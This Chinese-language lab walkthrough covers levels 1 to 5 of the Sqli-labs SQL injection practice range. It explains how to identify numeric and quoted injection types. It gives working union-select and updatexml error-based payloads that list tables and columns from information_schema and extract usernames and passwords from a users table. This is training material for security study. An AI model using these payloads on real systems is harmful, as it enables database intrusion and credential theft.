Sqli-labs靶场的1-5关通关过程
第一关
1.来到第一关图上说我们需要一个数字的参数
输入?id=1 and 1=1发现页没有报错
2.于是我们来判断一下是否为字符型注入,尝试?id=1’发现页面报错,此题应该为字符型注入。
于是我们拼接字符串?id=1’and’1’='1页面回显正常
3.然后我们使用order by来确定表中的列数,为什么我们要确定表中字段的列数呢?是因为我们的union的联合查询
联合查询的特点:
1.要求多条查询语句的查询列数是一致的;
2.要求多条查询语句的查询的每一列的类型和顺序最好一致;
3.union关键字默认去重,如果使用union all可以包含重复项。
于是我们构造?id=1’and ‘1’='1’order by1–+页面回显正常
?id=1’and ‘1’='1’order by2–+页面回显正常
?id=1’and ‘1’='1’order by3–+页面回显正常
?id=1’and ‘1’='1’order by4–+页面回显不正常
?id=1’and ‘1’='1’order by1–+页面回显正常
?id=1’and ‘1’='1’order by1–+页面回显正常
然后我们确定了字段数,于是用联合查询?id=-1’union select 1,2,3–+(将id弄成一个负数的值,使前面的语句失效)然后看看union查询是否有回显位
这样我们就看到了2,3这两个回显位然后我们就利用union查询,查看数据库的版本和数据库名,输入?id=-1’union select 1,database(),version()–+
4.然后我们知道了数据库是security,版本信息是:5.7.26
接下来进行爆表爆出表名
?id=-1’union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()–+
5.看到我们的账号和密码在一张表上,我们看到了users表,于是我们查看一下这张表的字段名
?id=-1’union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’–+
看到username和password字段,然后我们查询字段信息
?id=-1’union select 1,2,group_concat(0x5c,username,0x5c,password)from users–+
获得了所有的账号和密码顺利拿到很重要的信息。
第二关
1.输入?id=1页面正常
接下来判断为什么类型注入尝试单引号闭合?id=1’出错
2.输入?id=1’and’1’='1仍然出错说明不是字符型
3.输入?id=1 and 1=2。页面回显不正常,由此可以判断是数字型。
字符型注入:当输入的参数为字符串,如果存在注入漏洞,则为字符型注入。
数字型注入:数字型不需要单引号闭合,而字符型一般需要。
本来语句是一个完整的语句,它是用单引号闭合的,然后我们输入的单引号参数,导致多出了一个单引号而让语句闭合不了,产生报错,所以我们可以判断是单引号闭合。从刚才的报错语句中我们可以猜出部分查询语句’1’'和limit 0,1。其中1’是我们刚才输入的参数,它导致闭合不了所以报错了。
测试?id=1’ and’1’='1
and后面肯定为真,如果是单引号字符注入不会报错。
?id=1’and ‘1’='2
and后面的一定为假,如果是数字型这个会被运算然后报错
如果是字符型不会被运算不会报错但是页面回显不正常。
无闭合所以注释符–+加不加都行。后面同第一关相似。
第三关
1.输入?id=1页面正常。
2.先用单引号闭合测试报错。
3.此时输入?id=1’and’1’=‘1’页面恢复正常。说明可能是单引号闭合,排除数字型。
4.用–+将’注释测试报错,排除单引号闭合。那就有可能是跟单引号相关的闭合方式。
?id=1’–+
这里猜测用’)闭合
5.这里输入?id=1’)–+
后面步骤同上。
第四关
1.输入?id=1页面正常。
2.先用单引号测试页面正常
3.用id=1’ and ‘1’='1.回显如下排除数字型注入。
4.用–+注释’报错,证明不是单引号闭合应该是其他。
5.输入?id=1"页面报错那就有可能是跟双引号相关的闭合方式。
6.尝试")闭合
由此可以判断为")字符型注入,后面操作同第一关。
第五关
1.先输入id=1’发现报错
然后还是用上面的方法测试最后判断出是单引号闭合,字符型注入。
2.使用order by语句进行查列,order by 3的时候正常回显,order by 4无回显,说明有三列
3.输入?id=1’union select 1,2,3,4–+
输入?id=1’union select 1,2,database()–+
这里可以使用updatexml()函数
首先,了解下updatexml函数:
updatexml(XML_document,XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值所以我们注入的语句为?id=1’and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)–+
爆破数据表
?id=1’and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’),0x7e),1)–+
爆破users表里的列
?id=1’and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=‘users’),0x7e),1)–+
爆破用户名和密码(回显有限,只能一个一个查询)
?id=1’and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users limit 0,1),0x7e),1)–+
剩下修改limit 0,1为1,1 2,1…即可